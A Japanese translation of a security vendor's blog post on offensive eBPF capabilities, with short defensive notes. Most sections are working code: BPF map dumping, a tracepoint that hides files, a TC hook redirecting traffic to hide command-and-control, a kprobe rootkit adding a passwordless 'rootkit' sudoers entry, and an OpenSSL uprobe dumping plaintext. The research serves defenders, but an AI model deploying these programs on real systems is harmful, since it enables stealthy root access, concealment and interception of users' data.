eBPFの攻撃能力 – 次世代マルウェアに備えよ

By 清水 孝郎 - SEPTEMBER 5, 2023

SHARE:

本文の内容は、2023年9月5日にDANIELE LINGUAGLOSSA が投稿したブログ(https://sysdig.com/blog/ebpf-offensive-capabilities)を元に日本語に翻訳・再構成した内容となっております。

eBPF(Extended Berkeley Packet Filter)が強力な技術であることはご承知のとおりです。この記事では、eBPF が攻撃者に提供できる攻撃的な機能と、攻撃に対する防御方法を探ります。

eBPFは、2014年にLinuxカーネル(カーネル4.4)に初めてリリースされて以来、多くの注目を集めています。この強力なテクノロジーにより、カーネルモジュールを記述したりカーネルドライバーをロードしたりすることなく、Linuxカーネルの内部でプログラムを実行できるようになります。これらのプログラムは、制限されたC言語ライクな言語で書かれ、eBPF仮想マシンのカーネルによって実行されるバイトコードにコンパイルされます。eBPFプログラムは、その性質上、ユーザー空間プロセスの通常のライフサイクルを持たず、特定の(プログラマーが指定した)カーネルイベントが発生したときに実行されます。

これらのイベントはフックと呼ばれ、ネットワークソケット、トレースポイント、kprobes、uprobesなど、カーネルのさまざまな場所に配置されます。フックは、トレース、ネットワーキング、セキュリティーなど、様々な目的に使用することができます。

実際、今日存在する多くの異なるセキュリティ監視ツール(Falco はその一つ)の中で、eBPF は悪意のある活動、パフォーマンス分析、またセキュリティポリシーの強制のためにシステムを監視するために使用することができます。

どこでもプローブ – eBPFフック

eBPFプログラムはカーネル内の多くの異なるフックにアタッチすることができ、そのリストは新しいカーネルがリリースされるたびに増えています。これらのフックはプローブと呼ばれ、カーネルのさまざまな場所に配置されています。ここでは、そのうちのいくつかについて説明します。

  1. Kprobes – カーネル・プローブはカーネル関数を計測するために使用されます。関数の先頭または末尾に配置され(Kretprobe)、関数の実行をトレースしたり、関数に渡された引数を変更したり、関数の実行を完全にスキップしたりするのに使用します。
  2. Uprobes – ユーザープローブは、ユーザ空間関数を計測するために使用します。ユーザ・プローブは、関数内または任意のアドレスに配置できます(Uretprobeも存在します)。ユーザー空間の計測に使用するという点で、Kプローブとは異なります。
  3. トレースポイント – トレースポイントは、カーネル内のさまざまな場所に配置される静的マーカーです。カーネルの実行をトレースするために使用されます。kprobesとの主な違いは、カーネル開発者がカーネルに変更を実装する際にコード化されることです。
  4. TCまたはトラフィックコントロール – ネットワークトラフィックを監視および制御するために使用され、eXpress Data Path(XDP)プログラムに似ていますが、カーネルによってパケットが処理された後に実行されます。パケットを変更したり、完全に削除したりするのに使われます。
  5. XPDまたはeXpress Data Path – トラフィックコントロールフックのように、ネットワークパケットを監視するために使われ、パケットがカーネルによって処理される前に実行されるため、TCフックよりずっと速く、パケットを完全に変更するために使うことができます。

このように多くのフックが利用できるため、eBPFプログラムはカーネルの実行を監視し、変更するために使用することができます。これがeBPFが非常に強力である理由であり、また悪い目的にも使える理由でもあります。

eBPFプログラム

eBPFプログラムはカーネルによって実行されるバイトコードにコンパイルされます。eBPF プログラムは、 bpf() システムコールを使用してカーネルにロードされます。システムコール シグネチャーは次のようになります:

int bpf(int cmd, union bpf_attr *attr, unsigned int size);

 cmd パラメーターは実行するオペレーションを指定するために使用され、 attr パラメーターはsyscallに引数を渡すために使用され、 size パラメーターは attr パラメーターのサイズを指定するために使用されます。

様々なコマンドがありますが、その一部を以下に示します:

enum bpf_cmd {
    BPF_MAP_CREATE,   /* create map */
    BPF_MAP_LOOKUP_ELEM, /* lookup element in map */
    BPF_MAP_UPDATE_ELEM, /* update element in map */
    BPF_MAP_DELETE_ELEM, /* delete element in map */
    BPF_MAP_GET_NEXT_KEY, /* get next key in map */
    BPF_PROG_LOAD,   /* load BPF program */
    ...
    ...
};Code language: JavaScript (javascript)


今、私たちは BPF_PROG_LOAD コマンドに興味を持っています。このコマンドはeBPFプログラムをカーネルにロードするために使用され、 attr パラメーターはロードするプログラムのタイプ、バイトコード、バイトコードのサイズ、その他のパラメーターを指定します。 bpf()  システムコールは、ロードされるプログラムに関連するファイル記述子を返します。このファイル記述子を使用して、プログラムをフックにアタッチしたり、カーネルからプログラムをアンロードしたりすることができます。プログラムは、ファイル・ディスクリプタがクローズされるまでカーネル・メモリに残ります。

幸いなことに、eBPFプログラムを作成するためにbpf() システムコールを直接呼び出す必要はありません。eBPFプログラムを作成するために使用できる様々なライブラリがあります:

  • libbpf – Cで書かれています。
  • libbpfgo – Goで書かれています。
  • ebpf-go – Goで書かれています。


この記事では libbpfgo を使いますが、コンセプトはどのライブラリでも同じです。

カーネルモードからユーザーモードへのコミュニケーションとその逆

eBPFプログラムはカーネルで実行されますが、ユーザー空間のプログラムとコミュニケーションしたり、その逆も可能です。これにはマップと呼ばれる特別なオブジェクトを使用します。マップは、カーネルとユーザー空間の間でデータを交換するために使用できるキー・バリュー・ストアです。マップは BPF_MAP_CREATE コマンドで作成され、さまざまなタイプがあります。その中には

  • BPF_MAP_TYPE_ARRAY – 要素の配列で、各要素にはインデックスを使ってアクセスできます。
  • BPF_MAP_TYPE_HASH – ハッシュテーブルでは、各要素はキーを使ってアクセスできます。
  • BPF_MAP_TYPE_PERCPU_ARRAY – 要素の配列では、各要素はインデックスを使用してアクセスできますが、CPUごとに異なるメモリ領域を使用します。
  • BPF_MAP_TYPE_PERCPU_HASH – ハッシュ テーブルでは、キーを使用して各要素にアクセスできますが、CPU ごとに異なるメモリ領域を使用します。
  • BPF_MAP_TYPE_STACK – 要素のスタック。インデックスを使用して各要素にアクセスでき、要素は LIFO 形式で格納されます。
  • BPF_MAP_TYPE_QUEUE – 要素のキュー。インデックスを使用して各要素にアクセスでき、要素は FIFO 方式で格納されます。
  • BPF_MAP_TYPE_PERF_EVENT_ARRAY – ユーザー空間にイベントを送信するための特別なマップ。


今回の目的では、ユーザー空間とカーネル間でいくつかの構造体を共有するために BPF_MAP_TYPE_HASH を使用し、ユーザー空間にイベントを送信するために BPF_MAP_TYPE_PERF_EVENT_ARRAY を使用します。

eBPFプログラムのフォーマット

先に称したように、eBPFプログラムは制限されたCのような言語で書かれ、バイトコードに変換されます。eBPF仮想マシンは64ビットRISCマシンで、11本のレジスタと固定サイズ(512バイト)のスタックを持ちます。レジスタは以下の通りです:

  • r0 – 関数呼び出しと現在のプログラム終了コードの両方の戻り値を格納します。
  • r1〜r5 – 関数呼び出しの引数として使用され、プログラム開始時にr1に「コンテキスト」引数ポインタが格納されます。
  • r6~r9 – カーネル関数呼び出しの間、これらは保持されます。
  • r10 – スタックポインタ。


それにもかかわらず、eBPF仮想マシンは、レジスタの最上位ビットがゼロであれば、32ビットアドレッシングを使用することもできます。

このソースからバイトコードへの変換は、eBPF仮想アーキテクチャーを簡単にターゲットにできる clang によって処理されます。CプログラムをeBPFバイトコードにコンパイルするには、以下のコマンドを使います:

clang -target bpf -c program.c -o program.oCode language: CSS (css)


これは program.c ファイルをバイトコード・ファイルである program.o にコンパイルします。このファイルは、前に述べたライブラリを使用して再配置され、カーネルにロードされます。

JITコンパイル、ベリファイア、ALUサニタイゼーション

パフォーマンス・クリティカルな性質のため、eBPFプログラムはカーネルによってVMバイトコードからネイティブ・マシンコードにコンパイルされます。これはJITまたはJust In Timeコンパイルと呼ばれ、(プログラムがロードされたときに)一度だけ実行されます。カーネルが  CONFIG_BPF_JIT_ALWAYS_ON=false でコンパイルされない限り、コンパイルされたプログラムはカーネル・メモリに保存され、フックがトリガーされるたびに実行されます。

カーネル内で信頼されていないコードを実行することは本当に危険なことです。そのため、カーネル開発者はバイトコードをコンパイルする前にチェックするベリファイアを実装しました。これはサービス拒否(DoS)攻撃を避けるために行われます。ベリファイアはまた、プログラムがスタック外のメモリにアクセスしようとしていないか、マップされていないメモリにアクセスしようとしていないかをチェックするためにも使用されます。これは、メモリ破壊攻撃(ALU サニタイゼーション)を回避するために行われます。

この安全性は、命令のシーケンスをエミュレートし、レジスタが正しく使用されていることをチェックすることで達成されます。以下に、ベリファイアが実行するチェックをいくつか挙げます:

  • ポインタ境界チェック
  • スタックの読み出しの前にスタックの書き込みがあることの検証
  • 境界のないループの使用の防止
  • レジスタ値の追跡
  • 分岐の枝刈り
  • その他多数


ベリファイアの詳細については、こちらをご覧ください。

eBPFの攻撃能力

これまでの知識を踏まえて、eBPFプログラムが提供できる攻撃的な機能について考え始めましょう。以下にそのいくつかを紹介します:

  • マップへの直接アクセスの悪用 – eBPFプログラムはマップに直接アクセスできます。つまり、マップ・ファイル・ディスクリプタにアクセスできれば、プログラムのロジックを変更できます。
  • Kprobesの悪用 – eBPFプログラムは、慎重に作成されたKprobesを使用してカーネル関数にフックするため、プロセスやファイルを隠すなど、カーネルの動作を変更することができます。
  • TCフックの悪用 – eBPFプログラムをTCフックにアタッチすることができます。つまり、eBPFプログラムを使用して、特定のインターフェースのトラフィックを変更し、悪意のあるトラフィックを隠すことができます。
  • Uprobesの悪用 – eBPFプログラムはUprobesを使用してユーザー空間の関数にフックすることができます。

下記で、これらの機能の例をいくつか示します。

マップへの直接アクセスの悪用

その性質上、マップは攻撃者にとって格好の標的です。なぜなら、マップに書き込むことで、その下にあるeBPFプログラムのロジックが変更される可能性があるからです。完全にeBPFで行われたファイアウォール実装を解析していると仮定します。ユーザースペースコンポーネントは、ファイアウォールルールのリストを更新するために、カーネルとマップ上で会話することができます。そのためには、マップファイルの記述にアクセスする必要があります。  BPF_MAP_GET_NEXT_ID , BPF_MAP_GET_NEXT_KEYBPF_MAP_LOOKUP_ELEMコマンドの使用により実際に可能です。ルート権限が必要です。

まず最初に、利用可能なすべてのマップのループを開始する必要があります。これは BPF_MAP_GET_NEXT_ID コマンドを使って行うことができます。このコマンドを使って、すべての利用可能なマップをループすることができます。次のコードはその方法を示しています:

static int bpf_obj_get_next_id(__u32 start_id, __u32 *next_id)
{
    const size_t attr_sz = offsetofend(union bpf_attr, open_flags);
    union bpf_attr attr;
    int err;

    memset(&attr, 0, attr_sz);
    attr.start_id = start_id;

    err = sys_bpf(BPF_MAP_GET_NEXT_ID, &attr, attr_sz);
    if (!err)
        *next_id = attr.next_id;

    return err;
}Code language: JavaScript (javascript)

利用可能なすべてのマップをループするには、次のようにします:

while (bpf_obj_get_next_id(next_id, &next_id) == 0) {
    // do something with the id
}Code language: JavaScript (javascript)


マップIDを取得したら、 BPF_MAP_GET_FD_BY_ID コマンドを使ってマップのファイルディスクリプタを取得することができます。これは次のようにして行います:

int bpf_map_get_fd_by_id_opts(uint32_t id, const struct bpf_get_fd_by_id_opts *opts)
{
    const size_t attr_sz = offsetofend(union bpf_attr, open_flags);
    union bpf_attr attr;
    int fd;

    if (!OPTS_VALID(opts, bpf_get_fd_by_id_opts))
        return libbpf_err(-EINVAL);

    memset(&attr, 0, attr_sz);
    attr.map_id = id;
    attr.open_flags = OPTS_GET(opts, open_flags, 0);

    fd = sys_bpf_fd(BPF_MAP_GET_FD_BY_ID, &attr, attr_sz);
    return libbpf_err_errno(fd);
}Code language: JavaScript (javascript)


次に、マップ・ファイル・ディスクリプターを取得します:

int fd = bpf_map_get_fd_by_id(next_id);


ファイルディスクリプターを取得したら、e BPF_OBJ_GET_INFO_BY_FD コマンドを使ってマップタイプとマップ名を取得します:

int bpf_obj_get_info_by_fd(int bpf_fd, void *info, __u32 *info_len)
{
    const size_t attr_sz = offsetofend(union bpf_attr, info);
    union bpf_attr attr;
    int err;

    memset(&attr, 0, attr_sz);
    attr.info.bpf_fd = bpf_fd;
    attr.info.info_len = *info_len;
    attr.info.info = ptr_to_u64(info);

    err = sys_bpf(BPF_OBJ_GET_INFO_BY_FD, &attr, attr_sz);
    if (!err)
        *info_len = attr.info.info_len;
    return libbpf_err_errno(err);
}Code language: JavaScript (javascript)


次に、マップタイプとマップ名を取得します:

struct bpf_map_info info = {};
__u32 info_len = sizeof(info);
int ret = bpf_obj_get_info_by_fd(fd, &info, &info_len);

 bpf_map_info 構造体にはマップタイプとマップ名が含まれています。このように読むことができます:

printf("map name: %s\n", info.name);
printf("map type: %d\n", info.type);Code language: JavaScript (javascript)


これは、実際にマップを名前やタイプでフィルタしたい場合に便利です:

if (!strcmp(info.name, "firewall") || info.type != BPF_MAP_TYPE_HASH) {
    // do something
}Code language: JavaScript (javascript)


必要な情報がすべて揃ったら、マップとやりとりすることができます。例えば、 BPF_MAP_GET_NEXT_KEY コマンドを使ってマップの全てのキーを取得することができます:

int bpf_map_get_next_key(int fd, const void *key, void *next_key)
{
    const size_t attr_sz = offsetofend(union bpf_attr, next_key);
    union bpf_attr attr;
    int ret;

    memset(&attr, 0, attr_sz);
    attr.map_fd = fd;
    attr.key = ptr_to_u64(key);
    attr.next_key = ptr_to_u64(next_key);

    ret = sys_bpf(BPF_MAP_GET_NEXT_KEY, &attr, attr_sz);
    return libbpf_err_errno(ret);
}Code language: JavaScript (javascript)

そして、キーを検索します:

unsigned int key = -1;
unsigned int next_key = -1;
while (bpf_map_get_next_key(fd, key, next_key) == 0) {
    // do something with the key
}Code language: JavaScript (javascript)


 BPF_MAP_LOOKUP_ELEM コマンドで、与えられたキーの値を調べることができます:

int bpf_map_lookup_elem(int fd, const void *key, void *value)
{
    const size_t attr_sz = offsetofend(union bpf_attr, flags);
    union bpf_attr attr;
    int ret;

    memset(&attr, 0, attr_sz);
    attr.map_fd = fd;
    attr.key = ptr_to_u64(key);
    attr.value = ptr_to_u64(value);

    ret = sys_bpf(BPF_MAP_LOOKUP_ELEM, &attr, attr_sz);
    return libbpf_err_errno(ret);
}Code language: JavaScript (javascript)


最終的なコードは次のようになります:

int main(int argc, char **argv)
{
    unsigned int next_id = 0;

    while (bpf_obj_get_next_id(next_id, &next_id, BPF_MAP_GET_NEXT_ID) == 0)
    {
        int fd = bpf_map_get_fd_by_id(next_id);

        if (fd < 0)
        {
            printf("bpf_map_get_fd_by_id failed: %d (%d)\n", fd, errno);
            return 1;
        }

        struct bpf_map_info info = {};
        __u32 info_len = sizeof(info);
        int ret = bpf_obj_get_info_by_fd(fd, &info, &info_len);

        if (ret < 0)
        {
            printf("bpf_obj_get_info_by_fd failed: %d (%d)\n", ret, errno);
            return 1;
        }

        printf("map fd: %d\n", fd);
        printf("map name: %s\n", info.name);
        printf("map type: %s\n", bpf_map_type_to_string(info.type));
        printf("map key size: %d\n", info.key_size);
        printf("map value size: %d\n", info.value_size);
        printf("map max entries: %d\n", info.max_entries);
        printf("map flags: %d\n", info.map_flags);
        printf("map id: %d\n", info.id);

        unsigned int next_key = 0;

        printf("keys:\n");
        while (bpf_map_get_next_key(fd, &next_key, &next_key) == 0)
        {
            void *value = malloc(info.value_size);
            ret = bpf_map_lookup_elem(fd, &next_key, value);

            if (ret == 0)
            {
                printf("    - %d\n", next_key);
                map_hexdump(value, info.value_size);
                printf("\n");
            }
        }

        printf("------------------------\n");
    }

    return 0;
}Code language: JavaScript (javascript)


いったんファイル記述子にアクセスできれば、あとはマップの内容を反転させて解釈するだけです。これにより、攻撃者はマップの内容を変更し、eBPFプログラムの動作を変更する(例えば、セキュリティチェックをバイパスする)ことを許可することになります。

巧妙な攻撃は、ドキュメントに記載されているように、 BPF_MAP_FREEZE コマンドを悪用することです:

/*
 * BPF_MAP_FREEZE
 *  Description
 *      Freeze the permissions of the specified map.
 *
 *      Write permissions may be frozen by passing zero *flags*.
 *      Upon success, no future syscall invocations may alter the
 *      map state of *map_fd*. Write operations from eBPF programs
 *      are still possible for a frozen map.
 *
 *      Not supported for maps of type **BPF_MAP_TYPE_STRUCT_OPS**.
 *
 *  Return
 *      Returns zero on success. On error, -1 is returned and *errno*
 *      is set appropriately.
 */Code language: JSON / JSON with Comments (json)


このようにすることで、将来、ユーザー空間からマップの状態を変更するためのシステムコールを防ぐことができます(例えば、セキュリティ・チェックのバイパスなど)。これは、eBPFプログラムによってのみマップの内容を変更できることを意味します。

Kprobesによるファイルの隠蔽

カーネル自体からシステムコールをフックすることは、ファイルやフォルダ、あるいはプロセスをユーザーから隠す場合に非常に便利です。次の例は、特定のファイルを読み込もうとするコマンド( catnanogrep など)から隠す方法を示しています。

これは sys_enter イベントにトレースポイントを設定することで動作し、システムコールが呼び出されるたびにトリガーされ、システムコールのidが SYS_openat かどうか、パスが隠したいものと一致するかどうかをチェックします。もし一致すれば、パスをヌルバイトで上書きします。この例では、マップを使用してターゲットパスと最終的にターゲットプロセス名とpidの両方を格納しています。これにより、特定のプロセスのみ、またはすべてのプロセスに対してファイルを隠すことができます。

最初に行うことは、 BPF_PROG_TYPE_RAW_TRACEPOINT プログラムタイプを使用して新しいトレースポイントを作成することです。これは次のように行います:

SEC("raw_tracepoint/sys_enter")
int raw_tracepoint__sys_enter(struct bpf_raw_tracepoint_args *ctx)
{
    // your code here

    return 0;
}Code language: JavaScript (javascript)


SEC はプログラムのセクションを指定するためのマクロです。この場合、 raw_tracepoint/sys_enter セクションを使用します。このセクションは、 libbpf がプログラムを  sys_enter トレースポイントにアタッチするために使用します。

 bpf_raw_tracepoint_args 構造体には、トレースポイントに渡される引数が含まれます。この場合、最初の引数は  pt_regs  構造体へのポインタです。この構造体には、現在のプロセスのレジスタが含まれています。2番目の引数はsyscall IDなので、syscall IDが SYS_openat であるかどうかをチェックし、もしそうであれば、パスをヌルバイトで上書きします。

unsigned long syscall_id = ctx->args[1];
struct pt_regs *regs;
regs = (struct pt_regs *)ctx->args[0];
if (syscall_id == SYS_openat)
{
    // do something
}Code language: PHP (php)


ユーザモードで実行中のプログラムと通信するために、以下のような構造体を共有しました:

struct target
{
    int pid;
    char procname[16];
    char path[256];
};

struct
{
    __uint(type, BPF_MAP_TYPE_HASH);
    __type(key, u32);
    __type(value, struct target);
    __uint(max_entries, 1);
} target SEC(".maps");Code language: JavaScript (javascript)


golang側でも同じ構造体を定義する必要があります:

type Target struct {
    Pid  uint32
    Comm [16]byte
    Path [256]byte
}


ユーザ空間から構造体を更新するには、次のようにします:

targetMap, err := bpfModule.GetMap("target")
if err != nil {
    fmt.Fprintln(os.Stderr, err)
    os.Exit(-1)
}

// update the map

key := uint32(0x1337)
var val Target
copy(val.Comm[:], procname)
copy(val.Path[:], filepath)
val.Pid = uint32(pid)
keyUnsafe := unsafe.Pointer(&key)
valueUnsafe := unsafe.Pointer(&val)
targetMap.Update(keyUnsafe, valueUnsafe)Code language: PHP (php)


eBPFプログラムはlibc関数を使用できないため、すべてを動作させるためにはいくつかのユーティリティ関数が必要です。以下の関数は文字列を操作するために使用されます:

static __always_inline __u64
__bpf_strncmp(const void *x, const void *y, __u64 len)
{
    // implement strncmp
    for (int i = 0; i < len; i++)
    {
        if (((char *)x)[i] != ((char *)y)[i])
        {
            return ((char *)x)[i] - ((char *)y)[i];
        }
        else if (((char *)x)[i] == '\0')
        {
            return 0;
        }
    }

    return 0;
}

static __always_inline __u64
__bpf_strlen(const void *x)
{
    // implement strlen
    __u64 len = 0;
    while (((char *)x)[len] != '\0')
    {
        len++;
    }
    return len;
}Code language: JavaScript (javascript)


最終的なコードは次のようになります:

if (syscall_id == SYS_openat)
{
    struct target *tar;
    u32 key = 0x1337;
    tar = bpf_map_lookup_elem(&target, &key);
    if (!tar)
    {
        return 0;
    }
    else
    {
        char pathname[256];
        char *pathname_ptr = (char *)PT_REGS_PARM2_CORE(regs);
        bpf_core_read_user_str(&pathname, sizeof(pathname), pathname_ptr);

        char comm[16];
        bpf_get_current_comm(&comm, sizeof(comm));

        u32 pid = bpf_get_current_pid_tgid() >> 32;
        bool match = false;

        if (tar->pid != 0 && pid == tar->pid)
        {
            match = true;
        }

        if (!match && __bpf_strncmp(comm, tar->procname, sizeof(comm)) == 0)
        {
            if (!match && __bpf_strncmp(pathname, tar->path, sizeof(pathname)) == 0)
            {
                match = true;
            }
        }
        else
        {
            if (!match && __bpf_strncmp(pathname, tar->path, sizeof(pathname)) == 0)
            {
                match = true;
            }
        }

        if (match)
        {

            if (bpf_probe_write_user(pathname_ptr, "\x00", 1) != 0)
            {
                return 0;
            }
        }
    }
}    Code language: PHP (php)


同じ結果を得るもう1つの方法は、 SYS_getdents をフックし、システムコールによって返されるファイルのリストから隠したいファイルをフィルタリングすることです。

防御の観点からは、eBPFを使用して SYS_bpf へのシステムコールを監視し、攻撃者がシステムコールをフックするプログラムをロードしようとしているかどうかをチェックすることで、この種の攻撃を検出することが可能です。これはbpf_prog_info 構造体内の BPF_PROG_TYPE_RAW_TRACEPOINT をチェックすることで可能です。

TCによるトラフィックのリダイレクト

eBPFのもう一つの重要な特徴は、送受信トラフィックをオンザフライで変更する機能です。このフックは、パケットがカーネルによって処理された後に実行されます。つまり、そのパケットは、インターフェイスにアタッチされていれば、XDPフックによってすでに処理されています。

TCは、悪意のあるトラフィックを隠すために悪用することができ、C2トラフィックを隠すことになると本当に便利です。次の例は、すべてのトラフィックを特定のIPアドレスにリダイレクトする方法を示しています。こうすることで、インターフェースのトラフィックを監視している人は、パケットの本当の宛先を見ることができなくなります。

最初にすることは、次のように新しいTCフックを作ることです:

SEC("tc")
int tc_prog(struct __sk_buff *skb)
{
    return TC_ACT_OK;
}Code language: JavaScript (javascript)


戻り値は TC_ACT_OK か TC_ACT_SHOTのどちらかです。最初のものはパケットが正常に処理されることを意味し、2番目のものはパケットがドロップされることを意味しますので、これに注意してください。

 struct __sk_buff  構造体には、パケットに関するすべての情報が格納されています。この構造体を使って宛先IPアドレスを取得し、それを変更することができます。次のコードはその方法を示しています:

struct iphdr *iph = (struct iphdr *)(skb->data + sizeof(struct ethhdr));
if ((void *)(iph + 1) > skb->data_end)
{
    return TC_ACT_OK;
}

if (iph->protocol == IPPROTO_TCP)
{
    // get tcphdr
    struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
    if ((void *)(tcph + 1) > skb->data_end)
    {
        return TC_ACT_OK;
    }

    // get tcp dst addr and dst port
    __u32 dst_addr = bpf_htonl(iph->daddr);
    __u16 dst_port = bpf_htons(tcph->dest);

    if (dst_addr == 0xDEADBEEF)
    {
        // check if dst port is 0x1337
        if (dst_port == 0x1337)
        {
            // modify dest port to 1234
            u16 new_dst_port = bpf_htons(1234);
            bpf_skb_store_bytes(skb, sizeof(struct ethhdr) + sizeof(struct iphdr) + offsetof(struct tcphdr, dest), &new_dst_port, sizeof(new_dst_port), BPF_F_RECOMPUTE_CSUM);

            // modify dest addr to 15.204.197.177
            u32 new_dst_addr = bpf_htonl(0x0FC4C5B1);
            bpf_skb_store_bytes(skb, sizeof(struct ethhdr) + offsetof(struct iphdr, daddr), &new_dst_addr, sizeof(new_dst_addr), BPF_F_RECOMPUTE_CSUM);

            iph = (struct iphdr *)(skb->data + sizeof(struct ethhdr));
            if ((void *)(iph + 1) > skb->data_end)
            {
                return TC_ACT_OK;
            }

            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
            if ((void *)(tcph + 1) > skb->data_end)
            {
                return TC_ACT_OK;
            }

            dst_port = bpf_htons(tcph->dest);
            dst_addr = bpf_htonl(iph->daddr);
        }
    }
}Code language: PHP (php)


パケットを変更した後にチェックサムを更新することを忘れないでください。

パケットがカーネルによって処理されると、パケットの実際の宛先を見ることができるため、このような攻撃を検出するには、外部の監視ツールやハードウェアを使用すれば十分です。

sudoers 隠し root アカウント

隠しユーザーを作成することは、悪意のある振る舞いを隠すという点では非常に有効な機能です。これはeBPFを使って SYS_open と SYS_read システムコールをフックし、sudoがそれを読もうとしたときに/etc/sudoersファイル内にカスタムエントリを作成することで実現できます。以下のコードは、このような機能を実現する方法の一例です。

これを行うために、 SYS_openat2 に 1 つ、 SYS_read  に 1 つ、 SYS_exit.  に 1 つという 3 つの異なる kprobe を作成しました。 ロジックは次のとおりです。

1 –  SYS_openat2 が呼び出されると、/etc/sudoersのファイル記述子と呼び出し元のプロセスのpidをマップ内に保存します。

2 –  SYS_read が呼び出されると、ファイル記述子が前に保存したものであるかどうかをチェックします。

3 –  SYS_exit が呼び出されると、マップ内にプロセスpidが存在するかどうかをチェックします。存在する場合は、ファイル記述子を閉じてマップから削除します。

最終的なコードは以下のようになります:

#define USERNAME        "rootkit"
#define NEW_SUDOERS     "root ALL=(ALL:ALL) ALL\n" USERNAME " ALL=(ALL) NOPASSWD:ALL\n"
#define PAD_CHAR        '\0'    // can also be '#'
#define MAX_SUDOERS_SIZE 20000#define true    1
#define false   0
#define bool    int

​
SEC("kprobe/do_sys_openat2")
int kprobe__do_sys_openat2(struct pt_regs *ctx) {
   struct filename *filename;
   bpf_probe_read(&filename, sizeof(filename), &ctx->si);
​
   char name[256];
   bpf_probe_read_str(name, sizeof(name), &filename->name);
​
   if (strcmp(name, "/etc/sudoers") == true) {
       size_t pt = bpf_get_current_pid_tgid();
       // first write fd = -1 to the map as we are currently at the start of the function
       // and we don't know the value of it yet, we also don't know the destination buffer
       // until kprobe/ksys_read, so set it to NULL for now
       struct fd_dest fdest = { .fd = -1, .dest = NULL };
​
       bpf_map_update_elem(&sudoers_map, &pt, &fdest, BPF_NOEXIST);
   }
​
   return 0;
}
​
SEC("kretprobe/do_sys_openat2")
int kretprobe__do_sys_openat2(struct pt_regs *ctx) {
   struct fd_dest fdest;
   size_t pt = bpf_get_current_pid_tgid();
​
   void *val = bpf_map_lookup_elem(&sudoers_map, &pt);
   if (val == NULL)
       return 0;
​
   bpf_probe_read(&fdest, sizeof(fdest), val);
   // check if we already saved the fd of /etc/sudoers to the map
   if (fdest.fd != -1)
       return 0;
​
   // read the rax value, which contains the fd of the opened file
   bpf_probe_read(&fdest.fd, sizeof(fdest.fd), &ctx->ax);
​
   // update fd from -1 to the actual fd
   bpf_map_update_elem(&sudoers_map, &pt, &fdest, BPF_EXIST);
​
   return 0;
}
​
SEC("kprobe/ksys_read")
int kprobe__ksys_read(struct pt_regs *ctx) {
   int fd;
   struct fd_dest fdest;
   void *read_dest = NULL;
   size_t pt = bpf_get_current_pid_tgid();
​
   void *val = bpf_map_lookup_elem(&sudoers_map, &pt);
   if (val == NULL)
       return 0;
​
   bpf_probe_read(&fdest, sizeof(fdest), val);
   // if we still haven't hit kretprobe of do_sys_openat2
   // (the fd of /etc/sudoers is not saved yet)
   // also skip if the destination buffer was already saved
   if (fdest.fd == -1 || fdest.dest != NULL)
       return 0;
​
   bpf_probe_read(&fd, sizeof(fd), &ctx->di);
   // check if the read fd matches the fd of the /etc/sudoers file
   if (fd != fdest.fd)
       return 0;
​
   // the destination buffer pointer is within rsi register
   // read its value and write it to the map
   bpf_probe_read(&fdest.dest, sizeof(fdest.dest), &ctx->si);
   bpf_map_update_elem(&sudoers_map, &pt, &fdest, BPF_EXIST);
​
   return 0;
}
​
SEC("kretprobe/ksys_read")
int kretprobe__ksys_read(struct pt_regs *ctx) {
   size_t bytes_read = 0;
   struct fd_dest fdest;
   size_t pt = bpf_get_current_pid_tgid();
​
   void *val = bpf_map_lookup_elem(&sudoers_map, &pt);
   if (val == NULL)
       return 0;
​
   bpf_probe_read(&fdest, sizeof(fdest), val);
   if (fdest.dest == NULL)
       return 0;
​
   size_t new_sudoers_len = strlen(NEW_SUDOERS);
​
   bpf_probe_read(&bytes_read, sizeof(bytes_read), &ctx->ax);
   if (bytes_read == 0 || bytes_read < new_sudoers_len)
       return 0;
​
   // write NEW_SUDOERS to the beginning of the file
   bpf_probe_write_user(fdest.dest, NEW_SUDOERS, new_sudoers_len);
​
   // pad the rest of the /etc/sudoers with PAD_CHAR
   // i < MAX_SUDOERS_SIZE check is needed otherwise the verifier won't allow
   // the program to load
   char tmp = PAD_CHAR;
   for (u32 i = new_sudoers_len; i < bytes_read && i < MAX_SUDOERS_SIZE; i++)
       bpf_probe_write_user(fdest.dest + i, &tmp, sizeof(tmp));
​
   return 0;
}
​
SEC("kprobe/do_exit")
int kprobe__do_exit(struct pt_regs *ctx) {
   size_t pt = bpf_get_current_pid_tgid();
​
   // if the pid_tgid is found within the map then the process that's currently
   // exiting is a process that previously read /etc/sudoers, remove it from the map
   if (bpf_map_lookup_elem(&sudoers_map, &pt))
       bpf_map_delete_elem(&sudoers_map, &pt);
​
   return 0;
}Code language: PHP (php)


この種のルートキットを防御する唯一の効果的な方法は、eBPFを使って SYS_bpfシステムコールを監視することです。

Uprobeを使ったSSL平文ダンプ

フックできるのはシステムコールだけでなく、ユーザー空間の関数も同様です。これはuprobesを使うことで可能です。uprobesフッキングは、 INT3 命令を使ってターゲット関数にブレークポイントを設定することで動作します。つまり、簡単にフックするためには、バイナリをデバッグシンボルでコンパイルする必要があります。ブレークポイントがヒットすると、カーネルはeBPFプログラムを起動し、コンテキストを渡します。このコンテキストには、ターゲットプロセスのレジスタとスタックが含まれます。つまり、eBPF プログラムはターゲットプロセスのスタックを読み書きできます。

以下の例では、OpenSSLの SSL_write 関数をフックして、SSL接続の平文をダンプしています。

SEC("uprobe/SSL_write")
int uprobe__SSL_write(struct pt_regs *ctx)
{
    size_t len = (size_t)PT_REGS_PARM3(ctx);
    char *buf = (char *)PT_REGS_PARM2(ctx);

    // check if len is greater than 0
    if (len > 0 && buf != NULL)
    {

        if (len > 256)
        {
            len = 256;
        }

        bpf_printk("SSL_write RSI: %p\n", buf);

        ssl_result_t *res;
        u32 key = 0;

        res = bpf_map_lookup_elem(&ssl_results, &key);
        if (!res)
        {
            return 0;
        }

        bpf_probe_read_user_str(&res->msg, len, buf);
        bpf_get_current_comm(&res->comm, sizeof(res->comm));
        res->pid = bpf_get_current_pid_tgid() >> 32;
        bpf_perf_event_output(ctx, &ssl_events, BPF_F_CURRENT_CPU, res, sizeof(*res));
    }

    return 0;
}Code language: PHP (php)


SSL_write は以下のシグネチャーを持ちます:

int SSL_write(SSL *ssl, const void *buf, int num);Code language: JavaScript (javascript)


RSI レジスタは送られるデータ(平文)を含むバッファへのポインタを保持します。

この種の攻撃からの防御は些細なことです。 .textセグメントに変更を加えるので、開発者はバイナリが変更されたかどうかを検出するために、何らかの整合性チェック(CRC32)を実装することができます。

eBPFの悪用

